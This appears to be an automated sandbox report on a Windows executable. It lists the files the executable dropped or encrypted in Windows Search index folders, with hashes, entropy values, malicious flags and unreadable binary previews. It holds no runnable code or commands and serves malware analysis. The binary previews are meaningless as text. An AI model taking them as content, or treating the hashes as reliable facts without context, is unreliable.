SSDEEP:	3072:TEFQeWh5ZeT/OwLqPQJb2iQzDunvXrMi3DwUzczPwZMT4qnloaG0Xpv:TEFOh7tIQigDez7Mwal26pv
MD5:	5AB6D8B533B5FF93F725BC4C8BE18D28
SHA1:	272373861AD1BEBC46C446C6AD191BC208E9D95E
SHA-256:	6BFC1AE4DB81AB477EAE4522633D570956AF13C07E8471A2DB8488845682DDF9
SHA-512:	A2E6F3B66C8274C4EB0334842DD3C547D9C4AFD2DDF66E9D9ADF277BD4EAED7346E567CA5DB5F0FC6334842CA51F4CBEEA2016CFE041E4D845CC784A98BE13E5
Malicious:	false
Preview:	......(..hTDL...-3L\|.....ZZC...qM... .P..>_,YMwH..B.p.>..l.,..;.w'C...c.[....w...yl....7...kG..m..+0>#d.t..".l.B.%....n.;.9'..6...j.T.Zu..gS......P/`..:..M.,....m?g..u..4.3...f.\|...Qx..eCy.4..i..M.R.kv..U..U.J.6.Q........c!P...!...P..R..a....'..m....e.1...........+..V..6.{as..=......k.L}.~\.V..V.O......K....9g.=.....m..O.5.1.3..Na.#.._... xn..JjF-Q.G8...<.......O.!..c.....`...V>............s...I...uH.`.(HZ..`...!...Q......P.W..`..e....{...F..>...)...d...8.."...aMs..$...fq] eUm..wV..d..J@...~U:t.#!.....,..7.K.'6H}.L.2%..O6.&-.<!.+.2;...De......z@..C...J.h..~...i0..5G.Qq'D...B.<.Xh.....!..w..>F%8..j?.[.J.6.0.xG............xZ28.../aHn..T.i.c.....QE.a..m.a..z@....b.xw...w3..Y....%......T.B.<.....q.B.\|.....S.G.nX...F.\;.7)D\..^1.V....2.x..g>.)..`...\|....6U@."..x:..).g`..4....I....X.8Y.uD.#6.......5..*....1.6..jk...={.>&...W..A.@j..i4.$.k.r...o..$.f....q.K.R.g.a=a....8.iK5<...9..#k.S....!.`.....D...........y, ....=...=...(...<....q>].z.... %

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208107400296528
Encrypted:	false
SSDEEP:	3072:+ZL1AkSSunwiltMKynfDtGn9NI38ngwMAeZ93rqSh:uRA+swiltyfk438VMHZ9bjh
MD5:	40BA2A4B9C31772D62F0D0E7D7828B14
SHA1:	0577A3A3C835D8017F5035CE8E14ACCBC51EA131
SHA-256:	A95814E2CFA544FC0F241AB079FB7C747A99D05A9598F964704251EA880E0A8B
SHA-512:	381C39BC21F484D9972A2238F799D16B20BC1B23FF4B097C7AADF1DAF1943F9F342C57AECA3B23F568EEDE820D55CED9FFE6C91084BC9BC09EB0B1950F044BEB
Malicious:	false
Preview:	.....Q#y...-.18..zK..o....vg^.A..b....{.y...c.4.u.Vh..C}k.g..HA..W........,...[...-..1_.W)...........IOp'..DOO..u.H.i.)..;~R.J.ZL.8k.+.t..Ec...........(E....6!{..k.9.FZ.....f.A..G......j....>....V..pi.B.....p.^x..R9.<.9....(.@..V...k/:..".Z2...k.u...cb.....s7...x..v[p.}G...}..(.e<..4..6...4.R..(`.RL[K..R..$.J.td..[\|..w..3E..x.8....H=..:e>.AF.#...4.(s.nB..%T...."y..Z...w..W..L..c.........../....7.t.f....#<,M..Ux(.Q..FF.#.'..\...Q.._.!......a...j.Mo.%N-m.8@.....D..<.4.W%NK..{]?.gU...k...z.].qt.W^J....d.S.N:dD...r..=..}`.s.L.%.]_.p.)..O..j7....'.-=4yD.s.z......U.h.B/...TQ...c.....mW.[Q..;G.$}.4f..iX.:.n..5...a..}.G.4-...mM.A...a...F.L..w]..~.>.R6k ..r.a..j.......^J6J.n.).Y..(..`.wJ.a..S...G.4...<)...W.u\....L..c.....~\|...]...@..S...w..\.T....-.....a.t...b...n..."U]......Z.%......=..&:...?1...u...Kg...hC.-liz..~.......R.f.rB.w...b...4+........}.N..,^..U......../~.Q+1...xa.......v.T..SLN*.....F....F.l..+.......iUr .....B...C.,..IzAR.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078411783817025
Encrypted:	false
SSDEEP:	3072:tKuKRce5972MH8XCMDhsC102FS819y15lyIABbk2LDTPr:4rrx2o81DhfFV19Y5ly42LDn
MD5:	D897F1F59241E35555B67F59DB14B29D
SHA1:	D55462048A7431CA0E952B51F562DE6ED4669B04
SHA-256:	0F6F2B1900F498784B73125FA5249B160F402B930E5C7CD94810916DD34CA27D
SHA-512:	E2A9C4BCDFF4FBA8F9EF55B9F7FC15B65D313FABFD343F6C7FEC928099D03BA3708B9955ADAE5B522F1AF8EE193B8E9222D5EE32AB8DE2041FFBCE6168E1409C
Malicious:	false
Preview:	........?..N.-.2..n.P[.}.[.f...../.k1p._J.......Br....$..$..+......\.N.l...I....u..(......!g...+.c..;..(.,.d.k..`9.....E..O....ZDf.i.....7....u..>)xM...............j)...=..%.K.....]...EGgom....c7.<...-..p.(.g...j..J.h....8.Y!.S.kT..W.....;>..#..YC.1.l..m..._........,E.}.;e.1.q..3...4..m.....,.,...:.v.i..w...;.d...(.....yF.@..\|.........T.......T..>.-.6.Aa...9.)/k.....$.:P+.y...W....2.......Z.M.M.q}.G...MO.qD(Z..z...S..QUx..N9....).....s........s.$.K.(.b..#M.s..W.5.%dF..r ....t. .v...''..Y(.P..{.g..%...p.Q..n.Gc..Y5.0IC./ ...5%.E.....,.=..o....#..z...l.b\|.....s.54q7.....r;.-.\.cH.xe.x"I.0\#....n.V[e.9....t...E....;kkT.3....f.$.X..l.D%.V..K.+.<p......V...W]..xO-.fu.T..x}c.q..... ..Va.>...=....?Qvd.L.'. ..KNs...Kzi..3om.p.E.'.e.(X.!...Q_...._.......s.qp.qXZ.. .3..^1..J........-....X.....<..gw..'.UB#../.].Q.......P..;qk.*.D.yH...Jd#a......Y".Ol#...S........... ..u`2.....C...u9.R.._./.i...y.\|.S.1...~.kV.G.4....!.$.D..eC.......4.y....\.b.ID...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	37788
Entropy (8bit):	7.995184549157876
Encrypted:	true
SSDEEP:	768:nRg8oMCIL1bywRWUqgrcK3aruFlJusVhWPl+fQ5tevOIfq0B94F:a8nCI5TyERasVkIvf7Q
MD5:	1D05A265B0DC4A551DD05915E664386A
SHA1:	19CADDF358D65A8F48F19AFAE3225754FF5E08C9
SHA-256:	B9262FDB372E3EBD25347997076B2BD8C967A9B18217C08E87F958103E18B269
SHA-512:	E3A23ABE0974C507E4B4BDC603F8062D3994C6FCDCEAA4B2344F82AD764C4C7BF570A3805A7A0053738DD03C2E64925B92CF26D12FEE4897AC73548C0DDBD845
Malicious:	true
Preview:	0.0...z..Z...D.d.P..,&....".9..l..T.o,p..qpp.y......}n.........8A.w.q.MN."\|....4.2...;V<... {4.B...N...l~.X.7..x..k....._.s.5.]...$...W...H._.n........H..h..w.S...Q.....k...1..=b.........~.?....J.\|p.OY..lyr.......:r+2...........V..........z.....4....@D?....#..W.n.W_..%....x...^.)...Z..A....r."..^K..X/........2,.B(_......w.B}.`<h.J....U%.w.....m......z...T5,.P^.......Tl7..).....pX..........IR..!#.a*...ED...Z..p...;.w.r...dI\|.......7.....H?.EQ.[.......8. ...Z..;e.i6M-3QC,l.tI&.....k..I.V.............1LU.h...v..k.!.UT.A..J.Dp..H.=f. 0..L...f..L..;..L....k..."..C...`s..U..[..\|.V?.~.P.....n.7.u?H.7_..^...P..........u.r....a..xN.H.G.w.q..7...SCcWE...-5...D.`....mb....#}I?K...VB+.....H....v.E~.v._j.....&.U....a.....Q....M..g%.d.H..,...[.......\|..9[....JT.4.E.&E.<..{.....K...&.j./=Z...'....J..\|4.J.j...q].%...-.$..t..k.Uu..0...\m.c#m.../u........@?....?Q..K4.&g1VMb...h.w..y.0c.y. d.0.!#.'.4./l ./+.=.d.-....e....N..i.O..m....y.GG.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	50753
Entropy (8bit):	7.996559213502521
Encrypted:	true
SSDEEP:	1536:Is00QLdtiJKn4SxwcF/KtaUVj1xYkby5TFkMP:O0wD5KNVnPbg5P
MD5:	CF1980454E9A0A7EDDA1CD965AF8EF56
SHA1:	547B7B7D9061701F2C10D13AEB1171BE1DBDCBFA
SHA-256:	66E457D548A013B8AD5468C1A85815F814B1BAB9BCB32A9CADE39FCA0BB831E3
SHA-512:	C20939AC947D53A4FAEF0AE6AA780E72F2A723A3EF7C923AE42A964A1E7867FB3DD9DEFEF78A2A8E325B2D63B328DCD1C6DF6163C4371945F49D06DBF5453D17
Malicious:	true
Preview:	.........E.>{...yY1...............5..s..1$O....=L.V........! d....L...&{.hd%..Ka..9.T2[ 0.A5..[....$...............J[..<..Rj .]...z9.B-`.D...~...U.a....}E..5.V.P[.b.3"...cN-.._.;Ec..f.6....e.....F{.. [\| ...J.e..&.m.,4):.wB....zY...?.\|evT.....CS...5zL.m.!.=\|...-....r.....;Q<...5.^[.A.....X..P.$.......b.\|..uM!\|...1...]x.67:....G.{...8!...=..H.AK.{.E.Ee.G...._.Ztw..X..Q.M.....5....(.B.;....sX..}N..U.yz.;.v.c9.Xr.c...iY7.j.5.F..#..Avj@.t.}.2o..D...G.Q.T!.........y.x3s.s.l..g9.^...%..phV7.iv..N"..E).....;...(........O..A7.......-...vrf..a....5.X....U...E>rC.<OF\|b.,....@._D.-...v=...X#.5.....L3."@M.../Mk....FU....=...E.!.r,r...?4(s..x.Aa2{. ..l_.o.\|g.5..\'..X...?r.@.0...].....\|?...f..?.....4...;.y..<.....$..e..y......0...?!La?...N....FmY....y..3.^.Peg./(me0..8..nQ.V\|..A..e!.e...W!.......V5xfo.q.bt...E.Q....M...J2....".eG+...q...}.[..5....)...vT..+:...r..q.o..R...c..2/.Xns...a...u...,k"..0.../.V.>.f..G...;...7..aw."..:...,.........y..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.index

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126711
Entropy (8bit):	6.54200633997912
Encrypted:	false
SSDEEP:	24576:4ukE0EcW3nYfoyFxz8GfoLr7YfoyFxz8GHxUMM:IEcQYf1xz8GfMwf1xz8GRg
MD5:	07FF0AE48262433EB2B12E4D2097B81F
SHA1:	8171FD56EA664ED9A3112951E434D59FC61320F9
SHA-256:	B18668C19AE43B925712A64E86040562ADD7DAEE1E888C2710A75DCBDADE99D8
SHA-512:	D38F6BA29766E44B578993C5C770C92AA33C7F61F2EE897A10E8A060EE680EC083C1E8018367005DB06AB4B05FE232F6B9A1C62945D5AAD3F74112AC3E356781
Malicious:	false
Preview:	Ej..D`o...3.xg....z.E...y.)!....~....V.._.`.....X....E.pa..T.....4..H...\|`..J....G.9O.....8.k..d.-..[......w.wL..46.:..n."...[..w.j\|2[5.+9.....V.%....[..^2.7"T.......2....J..q...!u....u.ja.....D.G..Q.b.p..L..8...Y.t\....f.W<..u..4.1..U..3.1[K..?.......~.B1...r.....q^i.n..f..n#c...M.r.+.:..r....B..6.+2.k..qF.X...-L........R.+.z....AP.3..t....i..6A.q..~....n[...yh.2;....._c..`...R3)..J..a..h.B......S.3.U....".1.p.c7.M5Z.K.".3\.L.&P...........H.7.N.."..!....p}+.............F./.b..=...~7...Q.R.......E.v.O... h...h..3...!.9Ew..aS...3......w..a.^/..I"...3Wq..-..4...&)...+...bii....v!.C"..yp{.:$ ... ~8o......F......k...d.}..\|.p@.ak,...hoL.....c........).7......O..~........X.'.v..T...Z.yy...s.X.R.r5.....Z....ex...m.9b..j..{.v....._...c.i...z.l.i.?....V..D.%:].....DN..VqD...W.)..r+.z.....'....3....o..1..{........1c.:..Y..wT...U.....).....'.....5...y.....j.`......SG.:7...z)e.&...T..*"ng.0&&d..q.....`\..cO.o.E.q....W".1.X...Nx.....A..1W

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2e3f3162-b212-4a10-8918-a93180c42736}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.994870147932088
Encrypted:	true
SSDEEP:	768:QfUy1/yBYNTpMehRmv3TLc9zuA89EMHALerTz/Mx0G14HYWqjqb:aGBGTp7XA3TI9i19H7r/Ux0Gm4tjS
MD5:	DF50C553395F706C34B85CDE0E9E39E9
SHA1:	4FC6B761DFCBFF04D9F55BB632152A0074E2FD1D
SHA-256:	234801B2C131670A8221A2A32EE2DC75395B91CDE571B54359101E69CD15F358
SHA-512:	9FD52328BC4A61879995B172F01DDE0E64A852AA3DCDF7CE1BBDD4880ACF4867B014E4FAD62D1345F5CDC7D5DA0A00EED800613CB2FA0D55F5681F608543F05F
Malicious:	true
Preview:	0.0....j......?k.\...R.5s&........B..O.,{Y.6....[.E=.I..I.3.y.1.V9....c.tw.7.Z.q..5.?.c......b....n.q....C.. Tly,..ln.-[.].;.pv..\.jg....J....l..).....>O...^.....u...S..(7......m.......xD.Mlh..o.bQF..>....yp.?.C.:.GL..X.S...U.0....Ro..f..8.K..}zht> ...)B..s.....c.<..K..,..V:.;.8.#...P....<...dY...l.....F;.G\|I.r...>.~s..[.......,V..^....O...Wh.G..;sy\.G..]P.....I.?&S..:......X..R.Z.n."./c.mvS..9.O........0...u...BB.RW.t.>+..d....6O...;2.x......w../l.X......N2..M7..Z2..J.-u...!L.DhT..5#9\F.t".WD<.Z...=>L..~Z.='....;._t.-u.{[....q..U C.f...?e2&.#.....uj....X.!.w.8y..c...>w.2.....j...v....'&\....:.8:..A....U_t..\l....R.q+..{.....0..g....s..N.c.....'.\|.2.r)3....\....'p}>.~.~..ub.....#..x....SX..P4L..trv.d..A]y.}NH.~._f..X.pZ.=.GN..........[%..4.....]l. ./.....M.....h./...k..vV......?.;8.Q(.A.~eeDwAW.>...1..d..'9\.-.j...SH\..DY....s..c......y-...y\|....re..T..oD...3.\..4.1..s,`"M..L{J..X......Y....i..g.......X..^.._....Y.....L,..\...l.H......j9.JF

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2e3f3162-b212-4a10-8918-a93180c42736}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.995669272683447
Encrypted:	true
SSDEEP:	768:ibUgvjLBPTSQYpsFaXO1iVYOM4ybPdb3GLddUYzxP+Of+C+7oYQLdrvF:ibvPBPamweQYOM4yjF3G3UOPf+C+7Q
MD5:	8AB8201B61E10A801194809881EB1722
SHA1:	58A1A6F36308B65A49E847C01D043CDBB58E866E
SHA-256:	C953930018C47E59DDD2EDAFA27B67872D6843C9E6706E32489CC63ECC44FC9B
SHA-512:	6BEAE534F5D80765E923F5E776052CE6EC21C97B7F8C91FF514155D1CDBB614CB762DD17037C2E5A4467E4D827DDF86A6EC334E89F41ECAE886D8F6629734AD8
Malicious:	true
Preview:	.......$&.u...G.[.\..,..1k..J.L..9jAi.-Vj}.1...D.F....?:,..m+....X..j..x8.$....t~~.4.L.(.4."n.C......o...E..K.8J7p.......:.fG.H..#A.2..T/..]..lP..[uBb...~t.K...4[O.....5.E...\|.].u....6....D@..[..x.p....9..'._N.1m........h..).D3.t[.N...je.~.(w..>Z. d@.tW....&..@..36=..L3ha]8....3Bhq..m.E.&.'j...r.b...1..6OV}1.I.Y(.`....1......x6\|.MN..T#P.>..[...>^.h....<r..&......[..F%..b9o..?...%.T....u.P.X.. ...U."..i...S:.Vd.3.k.WC.f....m.....,w..y......6sb....~.!..u.<gyk...he..p...,..9.\|...j..E6._.S.i..}[....g:$..v...9}.m..!..N\..I.z,.cj.H..Q7.......1p@.........l.d.B[w1..J..r..u.....D..u.F..P.w.W#.S.E.z..V.;...[.h...Y..r;..y..:f....di......hu.\f....xb.....F.P?....{..m...q.j/s..<.h.pA,\#....n............p......J.W'......Y.....K....0X..U ..0F.....e+.<..........c....0.....j.....f...;..#Wf...9.#\|..%...&Vw.oJw. .&.7.ai..X....j.h.I.......-j...X.!R.l).T9U.E...D..(.M@.i...2.^f....8....I.".9d.Gg..Q...@<.'............<.;./.e^O.x~.Zn..N.f..9.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2e3f3162-b212-4a10-8918-a93180c42736}\Apps.index

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.5423508660121845
Encrypted:	false
SSDEEP:	12288:KDVnWD0WtU5lE1Bx7BefoQaWFxAm8DStxmthXv3zrLoE1Bx7BefoQaWFxAm8DS2+:tE4YfoyFxz8GfoLr7YfoyFxz8G21it7
MD5:	90C81CD87DD6962BF5150EBC0FA14CF4
SHA1:	8134F3434EEE9627D04FE1C02F5448ADB41BF237
SHA-256:	A2ED31C263EBD47A928765F4C61FA3C03C0C8CE9E11E024429B343C6B2E3E3E3
SHA-512:	FB586CF03D412B9BFD5F36F4158048DF83968CAEC7F9C06D07064A03E0D9515086A3CE921CE1B70B3871E60356EFC8B2468645D67F00A253A6F6F399B243D01B
Malicious:	false
Preview:	Ej..D2t-....~Qam@z/x...I....'eD.n..S.I..LN#F......`. i......m>$...?...K..O@{6}'..O.".u...u:.7....i.\,rt.v..q.5.$.9;.F.<HQ.....V...._s/..a>...;...M.i..(.F.D..X...a... ....-vJ.v`.....U..Kyuva...s.......r.....c.-...O.;Ch.2..........z>..........g..cY..>.1..@.T..\.]...+..o..Gek.~..:>.I..X.....,....%N.?.Y....#V9...>0..x!.Y5\|...8y...D.0..".m(.hN6}?.j..Hu..OY7...i+4..q..A.....3.h.u....^?..q0(...j..e~t..=.Je.T}.BK..E.N.c..c.&..si.;.63./.k.....u..Ge-k...uti.}a...;.c.A.-E.,....3N......... .............lf.0e.....=.R....s. ?.P2.`...{.....G..!lFe.V.l...s.....}.......?3O...xH...)f'.....h..4;d<................Z..4.8.w9..m.L./...3.v^.......06...+uG..6.z..e...hBX..QN`.u..w....HJ"-.&.r.KY\|(.%........!k...e....4.B'x.W.~.D?3.....v...i...'(..\|.I.`...]I6R.W.....+../q.....4%..;.<.W=#..-K...%...y....".eF......_.w..3...Nu..blN.C.o77...............T\|..ep..pp)7"../!...!.9.r.b.....4q.....0\|?(.....D..z.'....0U.T-.v}....}0l ...{'..q&....u5T......Dc5C..kqB.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3562040e-6ba4-4dec-86d8-f95aa3865af5}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	37755
Entropy (8bit):	7.99505833184383
Encrypted:	true
SSDEEP:	768:TePBpLtSmE9xyAaOVgjvHldDwitn56CSHQMjwMAKObB2MOMw82RN:TcHLfA1VATX55ywiLOQaw8ON
MD5:	E869529BA327974C208222B012A424E0
SHA1:	D7C46565B2224C9338C2666E2C768AEB9F34AF53
SHA-256:	A614D5671E4373EC46FBCA4C0168C8B08C3825EE485C54243B085A05454961CD
SHA-512:	A8C03477B6758FE8063E6F606F87C0A76B6273CEA211ED708D3BF5AEBC47F3F3247FBF2ACC8D0D2E386FB3B967BC6DD1AD4C991E83878D2DC444A2973D64A27A
Malicious:	true
Preview:	0.0...e.......H......_..s.U............6VC..8.[.:0<d.5.A..z_.\%mSkr.>+..`...oN.N...Ql?.I.P.....@.V..Z[.\|YN...Y7.H.8...k..b._j.U..)R....f@.l.8.(i..:.Z.......S..'.S........gH...^8<....$'.!y7......O..xR.l...W.....K..7.j.T.[...H....t..."7.k......^..A..X.m....g.9fh.?. .....Fxl1yG}.@..H:.xX...b......^..c...=..smb..XiS..T..s......+.\|....j..`\d.7Q..eJ.j....G6."?.....9b.....'. .8e..l.i..UFd.I\|O..%...=...!p...(..4..vk...;...d..ME.\|..a.$...3....M..\}I.\.rs.@E.?.z./....n.X.@8..v..L..k....'......n.<.I..RV............~6.:{v...T.x.P..#.^..L.I......QG....'...\.w.oK.......*. jqz-".c.-.6VEC...=....z'..>.F.N....s.....g.....X"....PU_....w.'..g..S...f.....'>......l......o7.....h6......5v@..4;.}1.z....F.].\..H.6...md.-.....,...]..[.u.=YR}O..RI.{..fI....-.u..3H\|......].....V...R0..!.hDjSn..KR.+.....".]i#.U..C...8.-....Fu.:_C.:#.S....E.R.y.7O..a.p..ElP...>.Zw...A.1=s..d.-!Q.8..8...:..)...u.QKi$.X..an..R...".t~..T.'?..-.0&K.,..l.h....f..cn..-i.m.$.d._..F

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3562040e-6ba4-4dec-86d8-f95aa3865af5}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	50707
Entropy (8bit):	7.996131594104064
Encrypted:	true
SSDEEP:	1536:UZFKbTq5jxihbV+sLFwlgOfmV1p6nS2wl:UbKbTqFxabzLFwlgOJSdl
MD5:	BF411F1C544DFC385932719A7674F56F
SHA1:	6E3C13ABF2EC813CFAD681BEDEF1216E5803242D
SHA-256:	47D84D6236DF3AF2E5A9D5A6D79CED1402430F606303E3FEC9B8A880703018A0
SHA-512:	7010211B44BF072031722A764FBE23EF8DCCC98BCCD98AB0FC024916DE1A4CDE6B05B5AC11352B930FB01FA3BEEC570E83927611F69BF59CE56343C64B4F8F4D
Malicious:	true
Preview:	......j..C[..5.+......n`..V{..K/..j..\|...$)..G.s.....NM[....G...V.H......3f.&o..........-.-...3..%..y..n ..9%..r8(...c{.bQ/.c=.......b8.......L c+C-..h..q-..Jv.......>...... z..^.8.$........Df......\.M.uD..AY{.....[.N>..aQ..U.v&56N......Y...P..:..%..-..s.....:..5...@..h..........Z.}......aU.V .C.x....-...5:;<...T..f^.U}n~..nT.....v..3.u.B....c....L...Wd...a.TA.+.^.....G..]..1...j@.}.I!......A.\|+..SP....n.....<..b.4.E z....`..H.2qa.....N..7XC.1<}Et.B..1O........cbp.g`.....Z..@...i....f.B<.R.~..&>...76G.}\|.....:..+H..1..M. .s.y.Y..\.n.&r:.@.`.r.Z. ..T<.>.jk.u......^J#..b=...m%..%.A..^....q.$-.....uQ....`....=....pF.fcC..J...g\|..HGd.3./...1GR.X?....m.;1C.......c7M.. ..._.'.p...?..X..s...~.K'ln....2aIz...S...c..J!U.P.p.2O!;.7t".q..]...g...m..v'.S......../..gt...Y...X.A.L.%..>U...EKd..Ht&..G.#..f.H.w.{....3=..k.`+Q...z.`...\|.D%...!:'>P.5..p....p..7....mX.m.!Te.^.$.X...G>_P.\|e....'@SSI....[...+c.{...$.7+.$...E-z......Z....K@.../...\|.u^.p:.EsS <.(

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3562040e-6ba4-4dec-86d8-f95aa3865af5}\Apps.index

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126340
Entropy (8bit):	6.5427683469833235
Encrypted:	false
SSDEEP:	24576:8Svr9Mkw9ZXCYfoyFxz8GfoLr7YfoyFxz8G21itV:8SvrpkZXpf1xz8GfMwf1xz8G2g
MD5:	25CF7D5A4003509B072678A7DFF45240
SHA1:	C5B0D7E365F38B3CEF4FBCE5435003D138DF8514
SHA-256:	C67142728581741D02109B9135A3B0F18AEE84E4927122EB4C650771BBF000FB
SHA-512:	3860481B847342C7990052053A3C4230C8F0F35FDA7DF5CB53C3A15E3E974AA57134DE34F026282A2A7A59462174DADDCCA8F7A1C3770E92D47E444B0D55C5D9
Malicious:	false
Preview:	Ej..D......\.PG..A..i\|g6...8.J$...o%+..Y.....\|.+_!=M........Z.../..2W..#=.&...I....Vy...9)...;.....2z......Y..<..$I.[J.g=.n.;=.Q.mA.j..-.:..h..B.F..e......8.xH^^oES.PK}..M...R..^....9...q.@c[..e.c.....).~~......VK0Qf'...c..a[..:..6N.\|.00I..........? ......h'_....9.tk.s,?....!%...r..y.W.s..I.._..y.{:....\....M+.........{..O4...>[:.....p~.v..[...F..K..8./.....~p..7O.....6\|.xM.7p\|=v..TiJ/.(.....6....:..D....Sq~:X....JR...-Q3[.o..xE...W..Rs...>.<.-'.....$Q.PM _. 7.(tfa.p].x91......%F......;..oq.j....49.%....C.d.(..I./........O. .W...c.w.....lD..yvW..E.`.Q...[.~..#...!....k..B.../.V.6...0.t..L53.........@...>M2.x...s.v7...G..C...;r.j.A......k.....S.d...:...8.q......\|?...V...h'<Q9h.`7.S@....%v.c...C.Bh?y4.B.\|..".+]....8B-.+..<\.%.R...(.9'U..U.L.@.3>.G..7Q.u....t....z._E....\.\|n(.0...e..(S%r.........~...z..x2.#.C..br....F.(.v...'..)..."........,!....q.&..b..W..62....>I...1<~....#N_..X...WJ.}.0...\|\|.....U...".....U..........7$.7L...G

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.csg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.682592011137283
Encrypted:	false
SSDEEP:	12:HM259TzjsrERz1RSYfj1vtKbwdeY7keGv+4Sp04iFeWrmGq1xIj/vdXVT1+cii9a:HM259TzYrQBoyj/5GW4E0NxmOVVgbD
MD5:	429B89A2D35672F3BBB6BAADFD598BF0
SHA1:	D441C810E45BA09DA4A68103F6E7F4969944849B
SHA-256:	CBC25B8395879D9F5C1026DDA4FF8066A35E99A76224759EAF690AC376CF6E60
SHA-512:	60AFA0D4EFB7872541712C78AC2CF3E3C077CE8EA17CE21145DD682B7D769247BCFCCAA743F23041D16461F0EF056586F664762F6ECCA4AC6773E1F31E5737C6
Malicious:	false
Preview:	.....#d...S..=.1Y9..a..6(.1.HN._..[>y.SD.....J..'..F(.J..9...M.........`}...z.I.Dc......HX..q....!..zh\..,.H....I\|y8.....)s.....A.=`.C..1..y..G{....\.\C).b.c.....L..98.h..l_..v..[eqh......H>4#~..t.\|y.T.......U.(....};.....Y[.L.".....8.?.1,.Bj}=.s..&c....-....y.Tr..'..Z+......:b..U.x.....-.....s...q.F..i..D...>.\|a6{L(@.h.&.(......Z").#.....F.y....;...u.D.DWG.xr..`w..U._Z4.)BfY.u.y....=./.T.x-.$.oFdN`...^]4.u..-........r...E....m..`3.u..!..Q.....g.#q...a...~-\|...I.p..R..D.._.....5+}#\|E..ocZ.~r..i..^8...8...2.x...C.....:m./...\|..{j.\d.TA..u.e.....#.y.9...q.....BW.pCY..@~n.....x 0?E..N..=......ml......oZ.Q?.....c.m.+*__....r.1<.^.OX.O?.q.XzH.2.3..RU.0Cw.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\apps.schema

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.492099480465588
Encrypted:	false
SSDEEP:	12:jBl8KrH2gOxtZq5zOnoI+0xqZAWylSF+eef1+cii9a:jBuKrH2JfszOnzqCxSsejbD
MD5:	F66A281855FCA78287C6E4D132976032
SHA1:	16495F734AEFF63B9C60CD707506B2EA2C5647D8
SHA-256:	699C32C191611E5F53F77A1506BCAD4F6283B24B8347575750FD2D1DFD2F5927
SHA-512:	78871C2942347C9A49305E5506305D5AEEC0BD3D92EBD05FED2B6621FF5BF61B9FF57FE26CC9C357A2EAB25557B26FDC493C557C5886ADB000AE43F5726B4EF8
Malicious:	false
Preview:	Windo&...V)06c.-.@.9..'..Sb...{..p.]\\....R.N,\T.Jr.d.....e..+...-.....Q...Q.S..Q.wh ..m$.yE..<^.w.z.k.1......><..........hP.K..!.<z.fK........3.Ai.f$.j.......N...z0.)...n..4\...Z..E......'...O...L.\|<._.x.G.....D.......C85%Q....Vft~.r=..!.?...P...~.-.~......`.a#v.U..'....7.`..4.....Sl..WUy...KD7R....-.'..y.....b....0o.8..r...z.J.*Ro.u...\QX.(.......v.@Ir...-.O...5{...S,\|.L.... SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

